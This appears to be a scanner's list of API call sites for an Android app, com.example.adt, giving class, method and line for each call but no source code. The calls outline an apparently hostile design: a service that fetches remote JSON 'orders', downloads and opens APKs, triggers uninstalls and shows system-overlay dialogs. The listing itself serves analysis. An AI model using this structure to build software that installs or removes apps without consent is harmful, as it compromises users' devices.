| API: android.app.PendingIntent->getBroadcast at com.example.adt.CoreService.showNofity:28 | Show source |
|---|
| API: android.app.Notification->setLatestEventInfo at com.example.adt.CoreService.showNofity:33 | Show source |
|---|
| API: android.app.NotificationManager->notify at com.example.adt.CoreService.showNofity:42 | Show source |
|---|
| API: android.app.Service->onStartCommand at ..:5 | Show source |
|---|
| API: android.app.Service-><init> at com.example.adt.CoreService.<init>:3 | Show source |
|---|
| API: java.lang.Boolean->valueOf at com.example.adt.CoreService.<init>:5 | Show source |
|---|
| API: java.lang.Boolean->valueOf at com.example.adt.CoreService.<init>:9 | Show source |
|---|
| API: java.lang.Integer->valueOf at com.example.adt.CoreService.<init>:45 | Show source |
|---|
| API: java.lang.Integer->valueOf at com.example.adt.CoreService.<init>:52 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.CoreService.autoChangeApk:9 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService.autoChangeApk:11 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.CoreService.autoChangeApk:14 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.CoreService.autoChangeApk:17 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.CoreService.autoChangeApk:22 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.CoreService.autoChangeApk:34 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.CoreService.autoChangeApk:37 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService.autoChangeApk:39 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.CoreService.autoChangeApk:42 | Show source |
|---|
| API: android.app.AlertDialog$Builder-><init> at com.example.adt.CoreService.autoChangeApk:54 | Show source |
|---|
| API: android.app.AlertDialog$Builder->setTitle at com.example.adt.CoreService.autoChangeApk:58 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.CoreService.autoChangeApk:63 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.CoreService.autoChangeApk:66 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService.autoChangeApk:70 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.CoreService.autoChangeApk:73 | Show source |
|---|
| API: android.app.AlertDialog$Builder->setMessage at com.example.adt.CoreService.autoChangeApk:76 | Show source |
|---|
| API: android.app.AlertDialog$Builder->setPositiveButton at com.example.adt.CoreService.autoChangeApk:83 | Show source |
|---|
| API: android.app.AlertDialog$Builder->setNegativeButton at com.example.adt.CoreService.autoChangeApk:90 | Show source |
|---|
| API: android.app.AlertDialog$Builder->create at com.example.adt.CoreService.autoChangeApk:92 | Show source |
|---|
| API: android.app.AlertDialog->getWindow at com.example.adt.CoreService.autoChangeApk:95 | Show source |
|---|
| API: android.view.Window->setType at com.example.adt.CoreService.autoChangeApk:99 | Show source |
|---|
| API: android.app.AlertDialog->show at com.example.adt.CoreService.autoChangeApk:101 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.CoreService.autoChangeApk:108 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.CoreService.autoChangeApk:111 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService.autoChangeApk:115 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.CoreService.autoChangeApk:118 | Show source |
|---|
| API: com.example.adt.CoreService->showNofity at com.example.adt.CoreService.autoChangeApk:123 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.CoreService.autoChangeApk:129 | Show source |
|---|
| API: android.app.Service->onStart at ..:4 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.CoreService.uninstallAPK:8 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService.uninstallAPK:10 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.CoreService.uninstallAPK:13 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.CoreService.uninstallAPK:16 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.CoreService.uninstallAPK:21 | Show source |
|---|
| API: java.lang.String->trim at com.example.adt.CoreService.uninstallAPK:23 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService.uninstallAPK:26 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.CoreService.uninstallAPK:29 | Show source |
|---|
| API: android.net.Uri->parse at com.example.adt.CoreService.uninstallAPK:32 | Show source |
|---|
| API: android.content.Intent-><init> at com.example.adt.CoreService.uninstallAPK:38 | Show source |
|---|
| API: android.content.Intent->setFlags at com.example.adt.CoreService.uninstallAPK:41 | Show source |
|---|
| API: com.example.adt.CoreService->startActivity at com.example.adt.CoreService.uninstallAPK:45 | Show source |
|---|
| API: com.example.adt.CoreService->getSystemService at com.example.adt.CoreService.NetWorkStatus:5 | Show source |
|---|
| API: android.net.ConnectivityManager->getActiveNetworkInfo at com.example.adt.CoreService.NetWorkStatus:9 | Show source |
|---|
| API: android.net.ConnectivityManager->getActiveNetworkInfo at com.example.adt.CoreService.NetWorkStatus:11 | Show source |
|---|
| API: android.net.ConnectivityManager->getActiveNetworkInfo at com.example.adt.CoreService.NetWorkStatus:15 | Show source |
|---|
| API: android.net.NetworkInfo->isAvailable at com.example.adt.CoreService.NetWorkStatus:18 | Show source |
|---|
| API: java.lang.Object-><init> at ..:4 | Show source |
|---|
| API: java.lang.Object-><init> at ..:4 | Show source |
|---|
| API: java.lang.Thread-><init> at ..:8 | Show source |
|---|
| API: java.lang.Thread->start at ..:10 | Show source |
|---|
| API: android.content.Intent-><init> at com.example.adt.CoreService$BtnClick$1.run:5 | Show source |
|---|
| API: android.content.Intent->setAction at com.example.adt.CoreService$BtnClick$1.run:9 | Show source |
|---|
| API: com.example.adt.CoreService->sendBroadcast at com.example.adt.CoreService$BtnClick$1.run:13 | Show source |
|---|
| API: java.lang.Object-><init> at ..:4 | Show source |
|---|
| API: java.lang.Object-><init> at ..:4 | Show source |
|---|
| API: java.lang.Thread->sleep at ..:3 | Show source |
|---|
| API: java.lang.Thread-><init> at ..:11 | Show source |
|---|
| API: java.lang.Thread->start at ..:13 | Show source |
|---|
| API: java.lang.InterruptedException->printStackTrace at ..:17 | Show source |
|---|
| API: java.lang.Object-><init> at ..:4 | Show source |
|---|
| API: java.lang.Thread->sleep at com.example.adt.CoreService$HTRunnable.run:3 | Show source |
|---|
| API: com.example.adt.App->autoChangeApps at com.example.adt.CoreService$HTRunnable.run:15 | Show source |
|---|
| API: java.lang.Integer->valueOf at com.example.adt.CoreService$HTRunnable.run:27 | Show source |
|---|
| API: java.lang.Integer->valueOf at com.example.adt.CoreService$HTRunnable.run:36 | Show source |
|---|
| API: java.lang.Integer->equals at com.example.adt.CoreService$HTRunnable.run:39 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.CoreService$HTRunnable.run:65 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$HTRunnable.run:68 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.CoreService$HTRunnable.run:70 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.CoreService$HTRunnable.run:85 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$HTRunnable.run:88 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.CoreService$HTRunnable.run:90 | Show source |
|---|
| API: com.example.adt.App->getApps at com.example.adt.CoreService$HTRunnable.run:99 | Show source |
|---|
| API: java.net.URLEncoder->encode at com.example.adt.CoreService$HTRunnable.run:119 | Show source |
|---|
| API: java.util.Calendar->getInstance at com.example.adt.CoreService$HTRunnable.run:126 | Show source |
|---|
| API: java.util.Calendar->getTimeInMillis at com.example.adt.CoreService$HTRunnable.run:129 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.CoreService$HTRunnable.run:132 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$HTRunnable.run:135 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.CoreService$HTRunnable.run:137 | Show source |
|---|
| API: java.lang.Integer->valueOf at com.example.adt.CoreService$HTRunnable.run:148 | Show source |
|---|
| API: java.lang.Integer->valueOf at com.example.adt.CoreService$HTRunnable.run:157 | Show source |
|---|
| API: java.lang.Integer->equals at com.example.adt.CoreService$HTRunnable.run:160 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.CoreService$HTRunnable.run:181 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$HTRunnable.run:184 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:188 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:193 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:200 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:205 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:212 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:217 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:223 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:228 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:234 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:239 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:246 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:251 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:258 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:263 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:270 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:275 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:282 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:287 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:294 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:299 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:306 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:311 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$HTRunnable.run:318 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.CoreService$HTRunnable.run:321 | Show source |
|---|
| API: java.lang.Thread-><init> at com.example.adt.CoreService$HTRunnable.run:335 | Show source |
|---|
| API: java.lang.Thread->start at com.example.adt.CoreService$HTRunnable.run:337 | Show source |
|---|
| API: java.lang.InterruptedException->printStackTrace at com.example.adt.CoreService$HTRunnable.run:341 | Show source |
|---|
| API: java.lang.Integer->valueOf at com.example.adt.CoreService$HTRunnable.run:354 | Show source |
|---|
| API: java.lang.Integer->equals at com.example.adt.CoreService$HTRunnable.run:357 | Show source |
|---|
| API: java.lang.Integer->valueOf at com.example.adt.CoreService$HTRunnable.run:372 | Show source |
|---|
| API: java.lang.Integer->equals at com.example.adt.CoreService$HTRunnable.run:375 | Show source |
|---|
| API: android.content.Intent->getAction at com.example.adt.CoreService$MyBroadcastReciver.onReceive:5 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.CoreService$MyBroadcastReciver.onReceive:10 | Show source |
|---|
| API: android.content.Intent->getBooleanExtra at com.example.adt.CoreService$MyBroadcastReciver.onReceive:16 | Show source |
|---|
| API: android.content.Intent->getStringExtra at com.example.adt.CoreService$MyBroadcastReciver.onReceive:21 | Show source |
|---|
| API: java.lang.String->toString at com.example.adt.CoreService$MyBroadcastReciver.onReceive:24 | Show source |
|---|
| API: java.net.URLDecoder->decode at com.example.adt.CoreService$MyBroadcastReciver.onReceive:27 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.CoreService$MyBroadcastReciver.onReceive:33 | Show source |
|---|
| API: java.lang.String->split at com.example.adt.CoreService$MyBroadcastReciver.onReceive:39 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.CoreService$MyBroadcastReciver.onReceive:71 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyBroadcastReciver.onReceive:74 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyBroadcastReciver.onReceive:78 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyBroadcastReciver.onReceive:81 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.CoreService$MyBroadcastReciver.onReceive:92 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.CoreService$MyBroadcastReciver.onReceive:103 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyBroadcastReciver.onReceive:106 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyBroadcastReciver.onReceive:110 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyBroadcastReciver.onReceive:113 | Show source |
|---|
| API: com.example.adt.CoreService->showNofity at com.example.adt.CoreService$MyBroadcastReciver.onReceive:118 | Show source |
|---|
| API: android.app.AlertDialog$Builder-><init> at com.example.adt.CoreService$MyBroadcastReciver.onReceive:123 | Show source |
|---|
| API: android.app.AlertDialog$Builder->setTitle at com.example.adt.CoreService$MyBroadcastReciver.onReceive:129 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.CoreService$MyBroadcastReciver.onReceive:136 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyBroadcastReciver.onReceive:139 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyBroadcastReciver.onReceive:143 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyBroadcastReciver.onReceive:146 | Show source |
|---|
| API: android.app.AlertDialog$Builder->setMessage at com.example.adt.CoreService$MyBroadcastReciver.onReceive:149 | Show source |
|---|
| API: android.app.AlertDialog$Builder->setPositiveButton at com.example.adt.CoreService$MyBroadcastReciver.onReceive:158 | Show source |
|---|
| API: android.app.AlertDialog$Builder->setNegativeButton at com.example.adt.CoreService$MyBroadcastReciver.onReceive:167 | Show source |
|---|
| API: android.app.AlertDialog$Builder->create at com.example.adt.CoreService$MyBroadcastReciver.onReceive:169 | Show source |
|---|
| API: android.app.AlertDialog->getWindow at com.example.adt.CoreService$MyBroadcastReciver.onReceive:172 | Show source |
|---|
| API: android.view.Window->setType at com.example.adt.CoreService$MyBroadcastReciver.onReceive:176 | Show source |
|---|
| API: android.app.AlertDialog->show at com.example.adt.CoreService$MyBroadcastReciver.onReceive:178 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.CoreService$MyBroadcastReciver.onReceive:184 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.CoreService$MyBroadcastReciver.onReceive:188 | Show source |
|---|
| API: com.example.adt.CoreService->uninstallAPK at com.example.adt.CoreService$MyBroadcastReciver.onReceive:196 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.CoreService$MyBroadcastReciver.onReceive:200 | Show source |
|---|
| API: android.content.Intent->getExtras at com.example.adt.CoreService$MyBroadcastReciver.onReceive:204 | Show source |
|---|
| API: android.os.Bundle->getString at com.example.adt.CoreService$MyBroadcastReciver.onReceive:211 | Show source |
|---|
| API: com.example.adt.CoreService->autoChangeApk at com.example.adt.CoreService$MyBroadcastReciver.onReceive:214 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.CoreService$MyBroadcastReciver.onReceive:218 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.CoreService$MyBroadcastReciver.onReceive:228 | Show source |
|---|
| API: android.content.BroadcastReceiver-><init> at ..:4 | Show source |
|---|
| API: java.lang.Object-><init> at ..:4 | Show source |
|---|
| API: java.util.Calendar->getInstance at com.example.adt.CoreService$MyOrderRunnable.run:3 | Show source |
|---|
| API: java.util.Calendar->getTimeInMillis at com.example.adt.CoreService$MyOrderRunnable.run:6 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.CoreService$MyOrderRunnable.run:9 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyOrderRunnable.run:12 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyOrderRunnable.run:14 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.CoreService$MyOrderRunnable.run:29 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyOrderRunnable.run:32 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:36 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:41 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:48 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:53 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:60 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:65 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:68 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyOrderRunnable.run:71 | Show source |
|---|
| API: java.lang.String->trim at com.example.adt.CoreService$MyOrderRunnable.run:86 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.CoreService$MyOrderRunnable.run:91 | Show source |
|---|
| API: org.json.JSONObject-><init> at com.example.adt.CoreService$MyOrderRunnable.run:96 | Show source |
|---|
| API: org.json.JSONObject-><init> at com.example.adt.CoreService$MyOrderRunnable.run:99 | Show source |
|---|
| API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:103 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyOrderRunnable.run:111 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:113 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyOrderRunnable.run:116 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.CoreService$MyOrderRunnable.run:119 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.CoreService$MyOrderRunnable.run:123 | Show source |
|---|
| API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:130 | Show source |
|---|
| API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:135 | Show source |
|---|
| API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:142 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.CoreService$MyOrderRunnable.run:149 | Show source |
|---|
| API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:155 | Show source |
|---|
| API: java.lang.Integer->parseInt at com.example.adt.CoreService$MyOrderRunnable.run:158 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.CoreService$MyOrderRunnable.run:169 | Show source |
|---|
| API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:175 | Show source |
|---|
| API: java.lang.Integer->parseInt at com.example.adt.CoreService$MyOrderRunnable.run:178 | Show source |
|---|
| API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:189 | Show source |
|---|
| API: java.lang.Integer->parseInt at com.example.adt.CoreService$MyOrderRunnable.run:192 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.CoreService$MyOrderRunnable.run:196 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyOrderRunnable.run:205 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:209 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyOrderRunnable.run:212 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.CoreService$MyOrderRunnable.run:215 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.CoreService$MyOrderRunnable.run:226 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.CoreService$MyOrderRunnable.run:234 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.CoreService$MyOrderRunnable.run:245 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.CoreService$MyOrderRunnable.run:253 | Show source |
|---|
| API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:262 | Show source |
|---|
| API: java.lang.String->trim at com.example.adt.CoreService$MyOrderRunnable.run:265 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.CoreService$MyOrderRunnable.run:272 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyOrderRunnable.run:279 | Show source |
|---|
| API: org.json.JSONObject->getString at com.example.adt.CoreService$MyOrderRunnable.run:283 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:286 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyOrderRunnable.run:289 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyOrderRunnable.run:304 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyOrderRunnable.run:308 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyOrderRunnable.run:311 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.CoreService$MyOrderRunnable.run:314 | Show source |
|---|
| API: org.json.JSONException->printStackTrace at com.example.adt.CoreService$MyOrderRunnable.run:318 | Show source |
|---|
| API: java.lang.Object-><init> at ..:4 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.CoreService$MyRunnable.run:18 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.CoreService$MyRunnable.run:20 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.CoreService$MyRunnable.run:23 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.CoreService$MyRunnable.run:26 | Show source |
|---|
| API: java.lang.Object-><init> at ..:5 | Show source |
|---|
| API: java.io.File->getName at com.example.adt.DownLoad.openFile:5 | Show source |
|---|
| API: android.util.Log->e at com.example.adt.DownLoad.openFile:8 | Show source |
|---|
| API: android.content.Intent-><init> at com.example.adt.DownLoad.openFile:11 | Show source |
|---|
| API: android.content.Intent->addFlags at com.example.adt.DownLoad.openFile:14 | Show source |
|---|
| API: android.content.Intent->setAction at com.example.adt.DownLoad.openFile:18 | Show source |
|---|
| API: android.net.Uri->fromFile at com.example.adt.DownLoad.openFile:20 | Show source |
|---|
| API: android.content.Intent->setDataAndType at com.example.adt.DownLoad.openFile:25 | Show source |
|---|
| API: com.example.adt.CoreService->startActivity at com.example.adt.DownLoad.openFile:29 | Show source |
|---|
| API: java.net.URL-><init> at com.example.adt.DownLoad.downloadFile:6 | Show source |
|---|
| API: java.net.URL->openConnection at com.example.adt.DownLoad.downloadFile:8 | Show source |
|---|
| API: java.net.HttpURLConnection->setDoInput at com.example.adt.DownLoad.downloadFile:13 | Show source |
|---|
| API: java.net.HttpURLConnection->connect at com.example.adt.DownLoad.downloadFile:15 | Show source |
|---|
| API: java.net.HttpURLConnection->getResponseCode at com.example.adt.DownLoad.downloadFile:17 | Show source |
|---|
| API: java.net.HttpURLConnection->getInputStream at com.example.adt.DownLoad.downloadFile:22 | Show source |
|---|
| API: java.io.FileOutputStream-><init> at com.example.adt.DownLoad.downloadFile:26 | Show source |
|---|
| API: java.io.InputStream->read at com.example.adt.DownLoad.downloadFile:31 | Show source |
|---|
| API: java.io.FileOutputStream->flush at com.example.adt.DownLoad.downloadFile:35 | Show source |
|---|
| API: java.io.FileOutputStream->close at com.example.adt.DownLoad.downloadFile:37 | Show source |
|---|
| API: java.io.InputStream->close at com.example.adt.DownLoad.downloadFile:39 | Show source |
|---|
| API: java.io.FileOutputStream->write at com.example.adt.DownLoad.downloadFile:43 | Show source |
|---|
| API: java.util.Calendar->getInstance at com.example.adt.DownLoad.downLoadFile:4 | Show source |
|---|
| API: java.util.Calendar->getTimeInMillis at com.example.adt.DownLoad.downLoadFile:7 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.DownLoad.downLoadFile:10 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.DownLoad.downLoadFile:13 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.DownLoad.downLoadFile:17 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.DownLoad.downLoadFile:20 | Show source |
|---|
| API: com.example.adt.Config->getSDPath at com.example.adt.DownLoad.downLoadFile:24 | Show source |
|---|
| API: java.io.File-><init> at com.example.adt.DownLoad.downLoadFile:27 | Show source |
|---|
| API: java.io.File->exists at com.example.adt.DownLoad.downLoadFile:29 | Show source |
|---|
| API: java.io.File->mkdir at com.example.adt.DownLoad.downLoadFile:33 | Show source |
|---|
| API: com.example.adt.Config->getSDPath at com.example.adt.DownLoad.downLoadFile:37 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.DownLoad.downLoadFile:40 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.DownLoad.downLoadFile:43 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.DownLoad.downLoadFile:47 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.DownLoad.downLoadFile:50 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.DownLoad.downLoadFile:53 | Show source |
|---|
| API: java.io.File-><init> at com.example.adt.DownLoad.downLoadFile:56 | Show source |
|---|
| API: java.net.URL-><init> at com.example.adt.DownLoad.downLoadFile:59 | Show source |
|---|
| API: java.net.URL->openConnection at com.example.adt.DownLoad.downLoadFile:61 | Show source |
|---|
| API: java.net.HttpURLConnection->getInputStream at com.example.adt.DownLoad.downLoadFile:65 | Show source |
|---|
| API: java.io.FileOutputStream-><init> at com.example.adt.DownLoad.downLoadFile:69 | Show source |
|---|
| API: java.net.HttpURLConnection->connect at com.example.adt.DownLoad.downLoadFile:73 | Show source |
|---|
| API: java.net.HttpURLConnection->getResponseCode at com.example.adt.DownLoad.downLoadFile:76 | Show source |
|---|
| API: android.util.Log->i at com.example.adt.DownLoad.downLoadFile:85 | Show source |
|---|
| API: java.net.HttpURLConnection->disconnect at com.example.adt.DownLoad.downLoadFile:87 | Show source |
|---|
| API: java.io.FileOutputStream->close at com.example.adt.DownLoad.downLoadFile:89 | Show source |
|---|
| API: java.io.InputStream->close at com.example.adt.DownLoad.downLoadFile:91 | Show source |
|---|
| API: java.io.InputStream->read at com.example.adt.DownLoad.downLoadFile:95 | Show source |
|---|
| API: java.io.FileOutputStream->write at com.example.adt.DownLoad.downLoadFile:100 | Show source |
|---|
| API: java.io.IOException->printStackTrace at com.example.adt.DownLoad.downLoadFile:107 | Show source |
|---|
| API: java.net.MalformedURLException->printStackTrace at com.example.adt.DownLoad.downLoadFile:111 | Show source |
|---|
| API: java.lang.Object-><init> at ..:2 | Show source |
|---|
| API: java.lang.Object-><init> at com.example.adt.FileUtils.<init>:2 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.FileUtils.<init>:7 | Show source |
|---|
| API: android.os.Environment->getExternalStorageDirectory at com.example.adt.FileUtils.<init>:9 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.FileUtils.<init>:12 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.FileUtils.<init>:17 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.FileUtils.<init>:20 | Show source |
|---|
| API: java.lang.String->valueOf at ..:7 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at ..:10 | Show source |
|---|
| API: java.lang.StringBuilder->append at ..:12 | Show source |
|---|
| API: java.lang.StringBuilder->toString at ..:15 | Show source |
|---|
| API: java.io.File-><init> at ..:18 | Show source |
|---|
| API: java.io.File->exists at ..:20 | Show source |
|---|
| API: java.lang.String->valueOf at ..:7 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at ..:10 | Show source |
|---|
| API: java.lang.StringBuilder->append at ..:12 | Show source |
|---|
| API: java.lang.StringBuilder->toString at ..:15 | Show source |
|---|
| API: java.io.File-><init> at ..:18 | Show source |
|---|
| API: java.io.File->mkdir at ..:20 | Show source |
|---|
| API: java.lang.String->valueOf at ..:12 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at ..:15 | Show source |
|---|
| API: java.lang.StringBuilder->append at ..:17 | Show source |
|---|
| API: java.lang.StringBuilder->toString at ..:20 | Show source |
|---|
| API: java.io.File-><init> at ..:23 | Show source |
|---|
| API: java.io.File->createNewFile at ..:25 | Show source |
|---|
| API: java.lang.String->valueOf at ..:10 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at ..:13 | Show source |
|---|
| API: java.lang.StringBuilder->append at ..:15 | Show source |
|---|
| API: java.lang.StringBuilder->toString at ..:18 | Show source |
|---|
